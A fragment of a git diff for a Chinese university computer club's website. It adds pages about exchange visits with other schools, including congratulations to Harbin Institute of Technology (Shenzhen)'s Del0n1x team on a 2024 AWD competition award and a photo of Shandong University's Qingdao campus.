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  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3662,6 +3682,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3828,6 +3906,38 @@

    <其他可选项目>Note

    可以参考其他已经基本完成的页面的 markdown 源码

    +
    + + +
    diff --git a/visit/HITSZ/index.html b/visit/HITSZ/index.html index 5a1ab1d..318e723 100644 --- a/visit/HITSZ/index.html +++ b/visit/HITSZ/index.html @@ -12,6 +12,8 @@ + + @@ -436,6 +438,26 @@ + + + + + + +
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    哈尔滨工业大学(深圳)

    恭喜HITSZ在2024年AWD赛制中取得了华南赛区二等奖的好成绩!向他们表示祝贺!

    战队名称是Del0n1x,指导老师是苏老师,战队里的人各个本领又强,本事又高,还有先天逆向圣体。

    目前与我们进行共同交流会的讨论和一些比赛上的共同参加,互相交流,彼此进步。

    +
    + + + @@ -3675,6 +3787,22 @@

    哈尔滨工业大学(深圳)

    + + + + + + diff --git a/visit/SDU/index.html b/visit/SDU/index.html index 3fc9d85..de20fea 100644 --- a/visit/SDU/index.html +++ b/visit/SDU/index.html @@ -438,6 +438,26 @@ + + + + + + +
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    山东大学(青岛)

    cc5d2941b270ba4b7297b1de249fb29.jpg

    青岛校区美景,依山傍海,十分美丽

    cc966dabd201709411f09f31aa6790f.jpg

    +
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  • + + + + + + + + + + + +
  • + + + @@ -3591,6 +3669,38 @@

    介绍

    记录俱乐部组织或者参加的一些交流活动,包含其他学校的计算机学习信息,或者线下学校旅游攻略

    +
    + + +